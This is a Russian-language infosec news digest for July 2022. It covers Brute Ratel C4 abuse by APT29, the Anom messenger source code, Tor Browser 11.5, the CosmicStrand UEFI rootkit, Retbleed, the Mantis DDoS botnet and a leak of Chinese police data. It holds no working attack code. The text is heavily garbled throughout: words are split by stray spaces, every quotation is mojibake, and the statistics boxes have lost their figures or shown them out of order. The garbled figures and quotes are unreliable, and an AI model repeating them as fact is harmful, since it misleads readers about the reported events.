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В этом месяце: новый Tor Browser научил ся луч ше обхо дить
бло киров ки, хакеры зло упот ребля ют инс тру мен том Brute
Ratel C4, в сеть сли ли дан ные мил лиар да китай ских граж- 
дан, на устрой ствах Apple появит ся режим Lockdown,
защища ющий от шпи она жа, на материн ских пла тах Asus
и Gigabyte наш ли UEFI-рут кит CosmicStrand, а так же дру гие
инте рес ные события июля.

ХАКЕРЫ
ВООРУЖИЛИСЬ
BRUTE RATEL C4
Зло умыш ленни ки перехо дят от исполь зования всем извес тно го Cobalt Strike
к менее популяр ному инс тру мен ту для red team — Brute Ratel Command
and Control Center (Brute Ratel C4 или BRc4). В час тнос ти, ана лити ки Palo Alto
Unit 42 обна ружи ли, что BRc4 уже взя ла на воору жение рус ско языч ная
хак-груп па APT29 (она же CozyBear и Dukes).

В 2020 году Читан Наяк (Chetan Nayak), быв ший учас тник red team
в Mandiant и CrowdStrike, соз дал BRc4 в качес тве аль тер нативы Cobalt Strike.
Инс тру мен ты получи лись одновре мен но похожи ми друг на дру га и нет. К при- 
меру, Cobalt Strike поз воля ет раз верты вать «маяки» на ском про мети рован ных
устрой ствах для уда лен ного наб людения за сетью или выпол нения команд.
В свою оче редь, Brute Ratel поз воля ет раз верты вать на уда лен ных хос тах «бар- 
суков» (badgers), которые очень похожи на маяки в Cobalt Strike. Такие «бар- 
суки» под клю чают ся к управля юще му сер веру зло умыш ленни ка, что бы
получать коман ды или переда вать опе рато рам резуль таты уже запущен ных
команд.

Как отме чают спе циалис ты Palo Alto Unit 42, недав но зло умыш ленни ки
начали перехо дить от работы с Cobalt Strike к исполь зованию Brute Ratel, пред- 
почитая имен но этот инс тру мен тарий для пос тэкс плу ата ции. Так
как BRc4 во мно гом ори енти рован на укло нение от обна руже ния EDR и анти- 
вирус ными решени ями, защит ные про дук ты обыч но не опре деля ют в нем вре- 
донос ное ПО. Из-за этой осо бен ности иссле дова тели называ ют Brute Ratel
«уни каль но опас ным».

Эк спер ты обна ружи ли, что BRc4 уже исполь зовал ся во вре мя атак, пред- 
положи тель но свя зан ных с рус ско языч ной хак-груп пой APT29, в ходе которых
зло умыш ленни ки рас простра няли вре донос ные ISO-обра зы, яко бы содер- 
жащие резюме (CV). На самом деле файл резюме (Roshan-Bandara_CV_Dialog)
был ярлы ком Windows, который запус кал свя зан ный файл OneDriveUpdater.exe.

Хо тя OneDriveUpdater.exe — это обыч ный исполня емый файл Microsoft, при- 
лага емый version.dll был изме нен таким обра зом, что бы дей ство вать как заг- 
рузчик для «бар сука» Brute Ratel, который заг ружал ся в про цесс
RuntimeBroker.exe. Пос ле это го зло умыш ленни ки получа ли уда лен ный дос туп
к ском про мети рован ному устрой ству для выпол нения команд и даль нейше го
прод вижения по сети.

В нас тоящее вре мя годовая лицен зия на Brute Ratel сто ит 2500 дол ларов
США на одно го поль зовате ля, при этом кли енты дол жны пре дос тавить
рабочий адрес элек трон ной поч ты и прой ти про вер ку перед получе нием
лицен зии. Пос коль ку про вер ка выпол няет ся вруч ную (хотя неиз вес тно,
как имен но), воз ника ет воп рос: как зло умыш ленни ки получа ют лицен зии?
В отче те экспер тов под черки валось, что упо мяну тый ISO-образ был соз дан
в тот же день, ког да выш ла новая вер сия BRC4.

Чи тан Наяк сооб щил жур налис там, что исполь зован ную в опи сан ных ата ках
лицен зию слил на сто рону недоволь ный сот рудник одно го из его кли ентов.
Пос коль ку пей лоады поз воля ют Наяку видеть, кому они при над лежат, он утвер- 
жда ет, что сумел иден тифици ровать и отоз вать лицен зию. Одна ко, по сло вам
гла вы ИБ-ком пании AdvIntel Виталия Кре меза (Vitali Kremez), это нееди нич ный
слу чай. К при меру, быв шие опе рато ры вымога теля Conti тоже при обре тали
лицен зии Brute Ratel, соз давая для этих целей под став ные аме рикан ские ком- 
пании.

«

»

«Ïðåñ òóïíè êè, ñòî ÿâøèå çà âûìîãà òåëü ñêè ìè îïå ðàöè ÿìè Conti, èçó- 
÷àëè íåñ êîëü êî èíñ òðó ìåí òàðè åâ äëÿ ïåí òåñòà, ïîìèìî Cobalt Strike.
Â îäíîì êîí êðåò íîì ñëó ÷àå îíè ïîëó÷è ëè äîñ òóï ê Brute Ratel, êîòîðûé
èñïîëü çîâàë ñÿ äëÿ ïîñ òýêñ ïëó àòà öèè â öåëåâûõ àòà êàõ èç çàã ðóç÷è êà
Bumblebee. Êîíå÷ íîé öåëüþ èñïîëü çîâàíèÿ Brute Ratel áûëà ïîñ òýêñ- 
ïëó àòà öèîí íàÿ ñòðóê òóðà äëÿ áîêîâî ãî ïåðåìå ùåíèÿ è ïîñ ëåäó þùå ãî
øèô ðîâàíèÿ ñåòè ïîñ ðåäñ òâîì ïåé ëîàäà âûìîãà òåëÿ», — ðàñ ñêà çàë
Êðå ìåç.

В сво ем отче те ана лити ки Palo Alto Unit 42 резюми руют, что Brute Ratel может
пред став лять серь езную угро зу, которой нуж но учить ся про тивос тоять:

«
»

«Ìû ñ÷è òàåì êðàé íå âàæ íûì, ÷òî áû âñå ïîñ òàâùè êè ñèñ òåì áåçîïàñ- 
íîñòè ñîç äàâàëè ñðåäñ òâà çàùèòû äëÿ îáíà ðóæå íèÿ BRC4 è ÷òî áû âñå
îðãà íèçà öèè ïðè íèìà ëè ïðî àêòèâíûå ìåðû äëÿ çàùèòû îò ýòî ãî èíñ òðó- 
ìåí òà».

 РОССИЯН ИСПОЛЬЗУЮТ ОДИНАКОВЫЕ ПАРОЛИ59%

Ис сле дова тели «Рос телеком-Солар» сооб щают, что, по резуль татам про веден ного ими опро- 
са, рос сий ские поль зовате ли не соб люда ют даже базовые тре бова ния к безопас ности
паролей. Так,  опро шен ных исполь зуют оди нако вые пароли для раз ных акка унтов,
еще  поль зовате лей меня ют свои пароли край не ред ко, а пароль ными менед жерами поль- 
зуют ся мень ше  рес понден тов.
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При этом  опро шен ных уве рены, что соб люда ют все три базовых тре бова ния к безопас- 
ности паролей. Это , , а так же 
(наличие букв раз ного регис тра, цифр и спе циаль ных сим волов).

55%
уни каль ность дли на не менее вось ми зна ков слож ность

Еще  счи тают, что соб люда ют два тре бова ния из трех.  поль зовате лей приз нались,
что их пароли сла бо защище ны и соот ветс тву ют мак симум одно му тре бова нию безопас ности.
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ЖУРНАЛИСТЫ
ИЗУЧИЛИ
ИСХОДНИКИ ANOM
В прош лом году ста ло извес тно, что пра воох раните ли соз дали и нес коль ко лет
под держи вали собс твен ную плат форму для зашиф рован ных ком муника ций
Anom, подоб ную Encrochat и Phantom Secure, и сле дили за всей перепис кой
прес тупни ков. Жур налис ты Vice Motherboard смог ли взгля нуть на исходни ки
Anom и рас ска зали, как он работал.

На пом ню, что мы  о мас штаб ной опе рации Trojan
Shield (в некото рых ведомс твах опе рация носила наз вания Greenlight
и Ironside), о завер шении которой в прош лом году отчи тались ФБР, Евро пол
и спец служ бы дру гих стран мира.

де таль но рас ска зыва ли

В рам ках этой опе рации пра воох раните ли соз дали и нес коль ко лет под- 
держи вали собс твен ную плат форму для зашиф рован ных ком муника ций Anom
(она же An0m или Anøm — в отче тах раз ных ведомств наз вание «зву чит»
по-раз ному). Это средс тво свя зи обре ло огромную популяр ность сре ди прес- 
тупни ков во всем мире, бла года ря чему пра воох раните ли получи ли воз- 
можность сле дить за все ми их ком муника циями.

За годы работы Anom пра воох ранитель ным орга нам уда лось рас простра- 
нить сре ди прес тупни ков боль ше 12 тысяч «защищен ных» устрой ств свы ше
чем в 100 стра нах мира. По ито гам опе рации арес товали боль- 
ше 1000 человек, в том чис ле круп ных тор говцев нар котика ми, а во вре мя
обыс ков мас сово изъ яли ору жие, налич ные день ги, нар котики и рос кошные
авто моби ли.

Как теперь сооб щили жур налис ты изда ния Vice Motherboard, недав но в их
рас поряже нии ока зал ся исходный код при ложе ния Anom, пре дос тавлен ный
источни ком, который пред почел остать ся неиз вес тным.

Из дание решило не пуб ликовать исходни ки Anom, так как в редак ции соч ли,
что код содер жит информа цию о людях, которые работа ли над при ложе нием.
Дело в том, что боль шинс тво раз работ чиков поп росту не зна ли, что это был
сек ретный про ект ФБР для наб людения за орга низо ван ной прес тупностью,
и теперь рас кры тие их лич ностей может под вер гнуть их рис ку. Так получи лось
из-за того, что Anom уже сущес тво вала как самос тоятель ная ком пания еще до
опе рации пра воох раните лей и кодеры, нанятые соз дателем ком пании, работа- 
ли над ран ней вер сией при ложе ния до того, как ФБР тай но взя ло Anom
под свой кон троль.

Кста ти, этот аспект раз работ ки Anom кри тику ют в Electronic Frontier
Foundation (EFF):

«
»

«Ýòî ïîõîæå íà òî, åñëè áû Raytheon íàíÿëà êîì ïàíèþ — ïðî èçâî- 
äèòåëü ôåé åðâåðêîâ ñ ñîñåä íåé óëè öû äëÿ èçãî òîâ ëåíèÿ ðàêåò íûõ êàï- 
ñþëåé, íî íå ñêà çàëà ëþäÿì, ÷òî îíè ðàç ðàáàòû âàþò ðàêåò íûå êàï- 
ñþëè», — ãîâîðèò ñòàð øèé òåõ íîëîã EFF Êóïåð Êâåí òèí (Cooper Quintin).

Жур налис ты, которые прив лекли к изу чению исходни ков нес коль ких ИБ-спе- 
циалис тов, рас ска зыва ют, что для слеж ки Anom исполь зовал спе циаль ного
«бота», который дуб лировал все перего воры прес тупни ков влас тям. Для это го
в коде мес сен дже ра сущес тво вал спе циаль ный «приз рачный» кон такт, который
был скрыт из спис ков кон тактов поль зовате лей и работал в фоновом режиме.
Фак тичес ки, ког да при ложе ние прок ручива ло спи сок кон тактов поль зовате ля
и натыка лось на учет ную запись бота, оно отфиль тро выва ло ее и уда ляло
из поля зре ния челове ка.

От меча ется, что идея таких «приз рачных» кон тактов обсужда лась и рань ше.
К при меру, в , датиро ван ной 2018 годом, сот рудни ки бри тан ско го раз- 
ведыва тель ного управле ния GCHQ писали, что «про вай дер спо собен незамет- 
но и лег ко добавить сот рудни ка пра воох ранитель ных орга нов в груп повой чат
или зво нок» и в ито ге все по-преж нему будет защище но сквоз ным шиф- 
ровани ем, но в беседе появит ся еще один невиди мый учас тник.

статье

Так же во вре мя изу чения исходни ков выяс нилось, что Anom прик реплял
информа цию о мес тополо жении к любому сооб щению, отправ ляемо му упо- 
мяну тому боту, а файл AndroidManifest.xml, который показы вает, к каким раз- 
решени ям обра щает ся при ложе ние, вклю чал раз решение
ACCESS_FINE_LOCATION.

В целом боль шая часть кода самого мес сен дже ра была ско пиро вана
из неназ ванно го опен сор сно го при ложе ния для обме на сооб щени ями. В ито ге
код Anom доволь но бес порядо чен, боль шие кус ки заком менти рова ны, и при- 
ложе ние пос тоян но записы вает отла доч ные сооб щения на сам телефон.

НАТАЛЬЯ КАСПЕРСКАЯ ПРЕДЛОЖИЛА ЗАМОРОЗИТЬ
ЦИФРОВИЗАЦИЮ

В интервью TAdviser Наталья Кас пер ская, пред седатель прав ления ассо циации «Оте чес твен- 
ный софт» и пре зидент InfoWatch, выс казала мысль о замороз ке циф ровиза ции для государс- 
тва и госс трук тур до тех пор, пока не будут решены воп росы информа цион ной безопас ности.→ «Я счи таю, что в текущих усло виях более пра виль ным решени ем будет

заморо зить циф ровое раз витие до тех пор, пока не удас тся най ти спе циалис- 
тов по информа цион ной безопас ности. Воз можно, это при ведет к замед лению
рос та каких-то показа телей (ска жем, показа телей „циф ровой тран сфор мации“),
воз можно, не поз волит повысить эффектив ность какой-то деятель нос ти.
Но это луч ше, чем потеря свер хчувс тви тель ных дан ных или оста нов ка кри тичес- 
ких информа цион ных сис тем.

Мы же утеч ки дан ных наб люда ем мно го лет. В боль шинс тве слу чаев пред- 
при ятия не приз нают утеч ку. И отго вор ки там всег да стан дар тные: „утеч ка про- 
изош ла не у нас“, „утеч ка была нез начитель ной“, „дан ные, которые утек ли, ста- 
рые, непол ные, негод ные, пло хие, ни на что не пов лияют“. Чет вертый пункт мне
осо бен но нра вит ся — „винов ные наказа ны“. То есть утеч ки не было, дан ные
нереле ван тные, а почему тог да вы наказа ли винов ных? В реаль нос ти, как мы
понима ем, за утеч ки дан ных прос то ник то не отве чает — вы же не слы шали
о судеб ных про цес сах над руково дите лями ком паний по стать ям о халат ности
или кра же дан ных? Вот и я не слы шала. Поэто му я счи таю, что с этим нуж но
что-то сде лать. И наз начение пер сональ ной ответс твен ности — это не все.
Это пер вый шаг, но он очень важ ный. Хотя бы будет шанс, что кого-то нач нут
наказы вать».

— Наталья Кас пер ская

ОБНОВЛЕННЫЙ TOR
BROWSER
Раз работ чики Tor Project объ яви ли о выпус ке Tor Browser вер сии 11.5. Этот
релиз содер жит мно го новых фун кций, в том чис ле упро щающих поль зовате- 
лям обход огра ниче ний. В час тнос ти, боль ше не понадо бит ся вруч ную переби- 
рать кон фигура ции мос тов.

Но вая фун кция Connection Assist («Помощь в под клю чении») авто мати чес ки
под бира ет кон фигура цию мос та, которая луч ше все го под ходит для мес- 
тополо жения поль зовате ля.

«
»

«Connection Assist çàã ðóæà åò è ïðîñ ìàòðè âàåò àêòó àëü íûé ñïè ñîê îïöèé
äëÿ êîí êðåò íîé ñòðà íû, ÷òî áû ïîï ðîáîâàòü èñïîëü çîâàòü âàøå ìåñ- 
òîïîëî æåíèå (ñ âàøåãî ñîã ëàñèÿ), — îáú ÿñíÿ þò ðàç ðàáîò ÷èêè. —
Ýòî óäà åòñÿ ñäå ëàòü, èñïîëü çóÿ moat (òîò æå èíñ òðó ìåíò, êîòîðûé Tor
Browser èñïîëü çóåò äëÿ çàï ðîñà ìîñ òà îò torproject.org), è íåò íåîá- 
õîäèìîñ òè ñíà ÷àëà ïîä êëþ ÷àòü ñÿ ê ñåòè Tor».

Так как Connection Assist пока находит ся на ран ней ста дии раз работ ки (v1.0),
коман да Tor при ветс тву ет отзы вы и отче ты, которые помогут устра нить любые
недос татки и улуч шить сис тему.

Еще одна важ ная новин ка в вер сии 11.5 — это режим HTTPS-Only Mode,
который теперь мож но сде лать режимом по умол чанию. Это гаран тиру ет, что
весь обмен дан ными меж ду поль зовате лем и сер вером, на котором раз мещен
сайт, будет зашиф рован, что бы защитить ся от атак типа man in the middle
и защитить поль зовате лей от SSL stripping’а и вре донос ных выход ных узлов.

Ко ман да Tor уве ряет, что SecureDrop про дол жит работать, нес мотря
на уста рева ние и замену рас ширения HTTPS-Everywhere, которое слу жило
интер пре тато ром onion-имен. Единс твен ным исклю чени ем, где HTTPS-
Everywhere пока про дол жит работать, вре мен но оста нет ся Android.

Так же важ ной новин кой ста ло осно ватель но перера ботан ное меню Network
Settings («Нас трой ки сети»), которое теперь называ ется Connection Settings
(«Нас трой ки под клю чения»). В час тнос ти, были перера бота ны и упро щены нас- 
трой ки кон фигура ций мос тов и вари антов под клю чения, что бы обес печить
быс трый и прос той прос мотр и управле ние. Новый интерфейс пред лага ет
визу али зацию кон фигура ций и исполь зует эмод зи для сох ранен ных мос тов,
тем самым упро щая опре деле ние и выбор нуж ного мос та при необ ходимос ти.

WEB3 ПОД ПРИЦЕЛОМ
Ана лити ки из ком пании CertiK под счи тали, что за пер вые шесть месяцев 2022 года у Web3-про- 
ектов было укра дено боль ше, чем за весь 2021 год в целом: общее количес тво похищен ных
средств уже пре выша ет  дол ларов.2 мил лиар да

Круп ней шие ата ки ash loan вто рого квар тала 2022 года

В основном хакеры по-преж нему полага ются на , но все чаще
встре чают ся ата ки на сис тему мгно вен ных зай мов ( ).

со циаль ную инже нерию
flash loan

В общей слож ности во вто ром квар тале 2022 года в резуль тате 27 ash loan атак было потеря- 
но  дол ларов. Огромный при рост по срав нению с  дол ларов,
потерян ными в пер вом квар тале.

308 мил лионов 14 мил лиона ми

Фи шин говые ата ки так же учас тились: во вто ром квар тале CertiK зафик сирова ла  атак,
по срав нению со  за пер вые три месяца года.

290
106 ата ками

Ча ще все го век тором фишин говых атак ста новит ся , что сви детель ству ет о его неиз- 
менной популяр ности в качес тве соци аль ной сети для крип товалют ного и NFT-сооб щес тва.
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НАЙДЕН UEFI-РУТКИТ
COSMICSTRAND
Эк спер ты из «Лабора тории Кас пер ско го» обна ружи ли новый UEFI-рут кит,
который получил наз вание CosmicStrand. Судя по все му, он соз дан ранее
неиз вес тной китай ско языч ной APT-груп пиров кой и ата кует опре делен ные
модели материн ских плат Gigabyte и Asus.

Ис сле дова тели говорят, что пока неяс но, какую цель прес леду ют зло умыш- 
ленни ки, но отме чает ся, что их жер тва ми ста нови лись час тные поль зовате ли
в Китае, Вьет наме, Ира не и Рос сии.

Ин терес но, что во всех извес тных слу чаях заражен ными ока зались материн- 
ские пла ты двух про изво дите лей — Gigabyte и Asus, исполь зующие чип сет H81.
Экспер ты пред полага ют, что зло умыш ленни ки наш ли в них какую-то общую
уяз вимость, которая поз волила им заразить UEFI.

Век тор зараже ния пока опре делить не уда лось, но тот факт, что сре ди
жертв CosmicStrand были «граж дан ские», может сви детель ство вать о том, что
сто ящие за этим рут китом зло умыш ленни ки спо соб ны ата ковать UEFI уда лен- 
но. Впро чем, экспер ты из Qihoo 360, еще пять лет назад изу чав шие ран ние
вер сии CosmicStrand образца 2016 года, пред полага ли, что одна из жертв при- 
обре ла заражен ную материн скую пла ту у ресел лера. Веро ятно, новые зараже- 
ния тоже мож но объ яснить чем-то подоб ным.

Все ата кован ные CosmicStrand устрой ства работа ли под управле нием
Windows: каж дый раз во вре мя перезаг рузки, пос ле запус ка Windows, уже
на уров не ОС запус кался неболь шой фраг мент вре донос ного кода. Этот заг- 
рузчик под клю чал ся к C&C-сер веру зло умыш ленни ков и получал отту да
исполня емые фай лы. То есть основная цель вре доно са — раз вернуть имплан- 
тат уров ня ядра при каж дой заг рузке ОС.

В целом про цесс ата ки про иллюс три рован на схе ме ниже: он сос тоит
из нас трой ки хуков для изме нения заг рузчи ка ОС и перех вата кон тро ля
над всем потоком выпол нения ради запус ка шелл-кода, который извле кает
полез ную наг рузку с управля юще го сер вера.

Ис сле дова тели отме чают, что в коде CosmicStrand мож но най ти сходс тво
с дру гим семей ством вре донос ных прог рамм, бот нетом MyKings. Этот бот нет,
с помощью которо го обыч но раз верты вают крип товалют ные май неры, еще раз
под твержда ет теорию о воз можной свя зи с китай ски ми зло умыш ленни ками,
рав но как и исполь зование жес тко закоди рован ного резер вно го DNS-сер вера,
который рас положен в CHINANET-BACKBONE (AS4134).

«
»

«Ñàìûé ïîðàçè òåëü íûé àñïåêò ýòî ãî îò÷å òà — òî, ÷òî ýòîò UEFI-èìïëàí- 
òàò, ïîõîæå, èñïîëü çîâàë ñÿ ñ 2016 ãîäà — çàäîë ãî äî òîãî, êàê àòà êè
UEFI ñòà ëè îïè ñûâàòü ïóá ëè÷íî. Ýòî îòêðû òèå ïîä íèìà åò åùå îäèí âîï- 
ðîñ: åñëè óæå òîã äà çëî óìûø ëåííè êè èñïîëü çîâàëè ýòîò [ðóò êèò], òî ÷òî
îíè èñïîëü çóþò ñåãîä íÿ?» — ãîâîðÿò èññëå äîâà òåëè.

NO MORE RANSOM ПОМОГ  ПОЛЬЗОВАТЕЛЕЙ1 500 000

Ини циати ва No More Ransom, бла года ря которой жер твы шиф роваль щиков могут вос ста новить
свои дан ные бес плат но, под вела ито ги работы за шесть лет. В нас тоящее вре мя про ект дос- 
тупен на  язы ках и помог более чем  человек по все му миру вос ста новить свои
дан ные.

37 1 500 000

На сегод ня количес тво пар тне ров No More Ransom вырос ло до , вклю чая ком пании из час- 
тно го и государс твен ного сек торов, пра воох ранитель ные орга ны, экспер тов из науч ных кру гов.
На сай те дос тупны уже  инс тру мен тов для рас шифров ки фай лов, которые работа ют про тив

 вари антов вымога телей и были заг ружены более  раз.

188
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165 10 000 000

RETBLEED УГРОЖАЕТ
ПРОЦЕССОРАМ INTEL
И AMD
Ис сле дова тели из Швей цар ской выс шей тех ничес кой шко лы Цюриха (ETH
Zurich) рас ска зали о новой side-channel-ата ке Retbleed, которая зат рагива ет
про цес соры Intel, выпущен ные от трех до шес ти лет назад, а так же про цес соры
AMD воз растом от года до один надца ти лет. Ожи дает ся, что устра нение этой
проб лемы негатив но отра зит ся на про изво дитель нос ти.

Проб лема Retbleed сос тоит из двух уяз вимос тей (CVE-2022-
29900 для AMD и CVE-2022-29901 для Intel) и отно сит ся к клас су спе куля тив- 
ных атак Spectre-BTI (вари ант 2). Наз вание Retbleed отсы лает к защит ному
решению Retpoline, которое было раз работа но спе циалис тами Google
в 2018 году для борь бы с «про цес сорны ми» уяз вимос тями .Meltdown и Spectre

На пом ню, что эти баги не толь ко край не опас ны, но и дос тавили поль- 
зовате лям и ком пани ям мно жес тво проб лем, ведь пат чи для них мог ли зна- 
читель но сни жать про изво дитель ность уяз вимых про цес соров (осо бен но ста- 
рых). Соз дав аль тер нативу в виде Retpoline, инже неры Google попыта лись
решить и эту проб лему, заявив, что их под ход поз волил сни зить про изво- 
дитель ность сер веров Google Cloud лишь на 1,5%.

В сущ ности, Retbleed похож на дру гие подоб ные ата ки, и его отли чает лишь
орга низа ция спе куля тив ного выпол нения кода: в дан ном слу чае учи тыва ется
работа механиз ма Retpoline, который меня ет jump- и call-инс трук ции на return
(ret), что ранее счи талось весь ма удоб ным и безопас ным вари антом борь бы
с Meltdown и Spectre. По сути, экспер ты отчи тались об успешном про веде нии
side-channel-ата ки с уче том ret-инс трук ций, добив шись утеч ки памяти ядра,
содер жащей хеши паролей.

От чет иссле дова телей гла сит, что они про вери ли ата ку Retbleed на про цес- 
сорах AMD Zen 1, Zen 1+, Zen 2, а так же теоре тичес ки проб лема зат рагива ет
и дру гие про цес соры, вклю чая Intel Core поколе ний 6–8.

Нуж но отме тить, что ско рость ата ки, как это час то быва ет с side-channel-
проб лемами, оставля ет желать луч шего. Так, на про цес сорах Intel опре деле ние
хеша пароля для поль зовате ля root зай мет око ло 28 мин, а на про цес сорах
AMD — око ло 6 мин.

Так как в наши дни на исправ ление подоб ных уяз вимос тей ухо дит куда мень ше
вре мени, чем неког да понадо билось на раз работ ку защиты от Meltdown
и Spectre, Intel и AMD уже деталь но рас ска зали о вари антах смяг чения новых
проб лем в сво их бло гах ( , , ).1 2 3

К сожале нию, борь ба с такими уяз вимос тями по-преж нему может пло хо
ска зывать ся на про изво дитель нос ти. Иссле дова тели ETH Zurich отме чают, что
исправ ления вли яют на про изво дитель ность ЦП, сни жая ее на 14–39%. Кро ме
того, исправ ление для еще одной проб лемы, которую экспер ты обна ружи ли
в про цес сорах AMD и так же вклю чили в этот отчет (Phantom JMP: CVE-2022-
23825), и вов се может уве личи вать пот ребле ние ресур сов на рекор- 
дные 209%.

БЫВШИЙ ГЛАВА GOOGLE СРАВНИЛ ИИ С ЯДЕРНЫМ
ОРУЖИЕМ

Выс тупая на Aspen Security Forum, быв ший CEO Google Эрик Шмидт срав нил ИИ с ядер ным ору- 
жием. По его мне нию, для ИИ необ ходим режим сдер живания, подоб ный тому, как угро за вза- 
имно гаран тирован ного унич тожения сдер жива ет самые могущес твен ные стра ны мира от унич- 
тожения друг дру га.

От вечая на воп рос о цен ности морали в тех нологи ях, Шмидт объ яснил, что на заре соз- 
дания Google он сам был наивен в отно шении силы информа ции. Теперь же он при зыва ет сде- 
лать тех нологии соот ветс тву ющи ми челове чес ким нор мам эти ки и морали и про водит парал- 
лели меж ду ИИ и ядер ным ору жием.→ «В 50–60-х годах мы сумели соз дать мир, в котором появи лось пра вило „без

сюр при зов“, каса ющееся ядер ных испы таний, и в ито ге они были зап рещены.
Это пра вило — при мер балан са доверия или отсутс твия доверия. Я очень обес- 
поко ен тем, что США отно сит ся к Китаю как к кор румпи рован ному, ком мунис- 
тичес кому или какому-то еще режиму, а Китай соч тет Аме рику осла бева ющей…
Это поз волит людям ска зать: „Боже мой, они что-то затева ют“, а затем начать
пороч ный круг. Воз никнет такая ситу ация, зна ете, ког да вы воору жаетесь или к
чему-то готови тесь, и это лишь про воци рует дру гую сто рону. У нас ник то
не занима ется эти ми воп росами, а ведь ИИ дей стви тель но нас толь ко силен».

— Эрик Шмидт

СЛИТЫ ДАННЫЕ
МИЛЛИАРДА
КИТАЙЦЕВ
Ха кер под ником ChinaDan выс тавил на про дажу нес коль ко баз дан ных,
которые яко бы содер жат более 22 Тбайт информа ции о мил лиар де китай ских
граж дан. Зло умыш ленник оце нил этот дамп в 10 бит коинов (око ло 195 тысяч
дол ларов США).

ChinaDan утвер жда ет, что дан ные были похище ны у Шан хай ской наци- 
ональ ной полиции (SHGA) и БД содер жит име на, адре са, номера наци ональ- 
ных удос товере ний лич ности, кон так тные телефо ны и информа цию о нес коль- 
ких мил лиар дах судимос тей.

В доказа тель ство сво их слов хакер опуб ликовал в откры том дос тупе обра- 
зец дан ных, содер жащий 750 тысяч записей. Помимо перечис ленной выше
информа ции, в «проб нике» мож но най ти даже дан ные о перевоз ке задер- 
жанных и инс трук ции для водите лей.

По сло вам зло умыш ленни ка, дан ные были укра дены из локаль ного час тно го
обла ка Aliyun (Alibaba Cloud), которое явля ется частью китай ской полицей ской
сети.

Жур налис ты Wall Street Journal решили убе дить ся, что дан ные в дам пе под- 
линные, и для это го попыта лись свя зать ся с людь ми, информа цию о которых
мож но най ти в этой базе.

«
»

«Ïÿòü ÷åëîâåê ïîä òâåð äèëè âñþ èíôîðìà öèþ, âêëþ ÷àÿ äåòàëè [ñóäåá- 
íûõ] äåë, êîòîðûå áûëî áû òðóä íî ïîëó÷èòü ãäå‑òî, êðî ìå ïîëèöèè.
Åùå ÷åòûðå ÷åëîâå êà ïåðåä òåì, êàê ïîâåñèòü òðóá êó, ïîä òâåð äèëè
îñíîâíóþ èíôîðìà öèþ, òàêóþ êàê èõ èìå íà», — ñîîá ùàåò èçäà íèå.

На эту колос саль ную утеч ку обра тил вни мание даже гла ва крип товалют ной
бир жи Binance Чан пэн Чжао. Как он сооб щил в Twitter, экспер ты его ком пании
полага ют, что при чиной утеч ки ста ла база Elasticsearch, которую китай ское пра- 
витель ство слу чай но оста вило незащи щен ной. Поз же он добавил: ата ка про- 
изош ла из-за того, что некий пра витель ствен ный раз работ чик написал тех- 
ничес кий пост в бло ге на CSDN и слу чай но забыл скрыть в пос те учет ные дан- 
ные.

Ки тай ские влас ти хра нят мол чание и не давали ком мента риев об этом
инци ден те, но, если заяв ления ChinaDan ока жут ся прав дой, эта утеч ка ста нет
самой серь езной из ког да-либо зат рагивав ших Китай и в целом одной из круп- 
ней ших уте чек в исто рии.

 МИЛЛИОНОВ ДОЛЛАРОВ ПОТЕРЯЛА MICROSOFT,
УЙДЯ ИЗ РОССИИ
126

В кон це июля кор порация Microsoft опуб ликова ла годовой финан совый отчет, из которо го ста- 
ло извес тно, что уход с рос сий ско го рын ка сто ил ей  дол ларов опе раци онных
издержек (свя зан ных с проб лемны ми задол женнос тями, обес ценива нием акти вов и выход ными
пособи ями).

126  000  000

При этом, по дан ным Statcounter GlobalStats, доля Windows в Рос сии пос тепен но сок раща ется.
Так, на июнь 2022 года на  компь юте ров рос сиян уста нов лена Windows,  — OS X,

 — дру гие ОС и на  машин — Linux. Для срав нения: в 2018 году количес тво поль- 
зовате лей Linux оце нива лось в , а доля Windows в 2015 году сос тавля ла .

87,59% 5,44%
4,9% 2,04%

1,69% 95,6%

Ин терес но, что, по ста тис тике сер виса StockApps, за десять лет на мировом рын ке доля ОС
Microsoft сок ратилась с  до  к нас тояще му момен ту.91% 73,7%

БОТНЕТ MANTIS
АТАКУЕТ
Ком пания Cloudare подели лась под робнос тями о рекор дной DDoS-ата ке,
от которой в прош лом месяце пос тра дал один из ее кли ентов. Ока залось,
за этим инци ден том сто ял бот нет Mantis, который экспер ты харак теризу ют
как «самый мощ ный бот нет на сегод няшний день».

На пом ню, что в июне 2022 года экспер ты Cloudare  о рекор дной
DDoS-ата ке, с которой им уда лось спра вить ся. В этом инци ден те учас тво вал
неболь шой, но мощ ный бот нет, сос тоящий из 5067 устрой ств, при этом
пиковая мощ ность ата ки дос тигала 26 мил лионов зап росов в секун ду (request
per second, RPS). То есть каж дое устрой ство мог ло генери ровать при мер- 
но 5200 зап росов в секун ду.

со общи ли

Как теперь рас ска зали иссле дова тели, они наз вали новый бот нет в честь
кре вет ки-богомо ла (Mantis Shrimp), которая отли чает ся тем, что спо соб на
наносить сок рушитель ные уда ры вра гам ког тями, хотя сама нас читыва ет
в дли ну все го око ло десяти сан тимет ров. Новый бот нет тоже чрез вычай но
мощен, нев зирая на весь ма скром ные раз меры.

Обыч но бот неты стре мят ся ском про мети ровать как мож но боль ше раз- 
личных устрой ств и копят «огне вую мощь» для про веде ния интенсив ных атак.
Mantis дей ству ет ина че: исполь зует сер веры и вир туаль ные машины, которые
име ют зна читель но боль ше ресур сов. Дело в том, что генера ция боль шого
количес тва HTTPS-зап росов — ресур соем кий про цесс, поэто му чем мощ нее
вхо дящие в сос тав бот нета устрой ства, тем серь езнее будут его DDoS-ата ки.
Нап ример, пре дыду щий рекорд смен, бот нет Mēris, экс плу ати ровал для этих
целей устрой ства MikroTik с мощ ными аппа рат ными воз можнос тями.

В Cloudare сооб щают, что Mantis в основном ата кует орга низа ции в сфе ре
ИТ и телеком муника ций (36%), новос тные ресур сы, медиа и изда телей (15%),
а так же ком пании, работа ющие в сфе ре финан сов (10%) и игр (12%).

За пос ледний месяц Mantis запус тил более 3000 DDoS-атак, которые были
нап равле ны про тив поч ти 1000 кли ентов Cloudare.

Боль шинс тво жертв бот нета находят ся в США (20%) и Рос сий ской Федера- 
ции (15%). На про чих пос тра дав ших, из Тур ции, Фран ции, Поль ши, Укра ины,
Великоб ритании, Гер мании, Нидер ландов и Канады, при ходит ся лишь
от 2,5 до 5% атак.

УПАДОК ПИРАТСТВА
Ис сле дова тели из ком пании Group-IB изу чили нелегаль ный рынок интернет-пиратс тва в Рос сии
в 2021 году. Ана лити ки оце нива ют его в  дол ларов и говорят, что за год
пираты обед нели при мер но на . Дело в том, что они лишились финан сирова ния
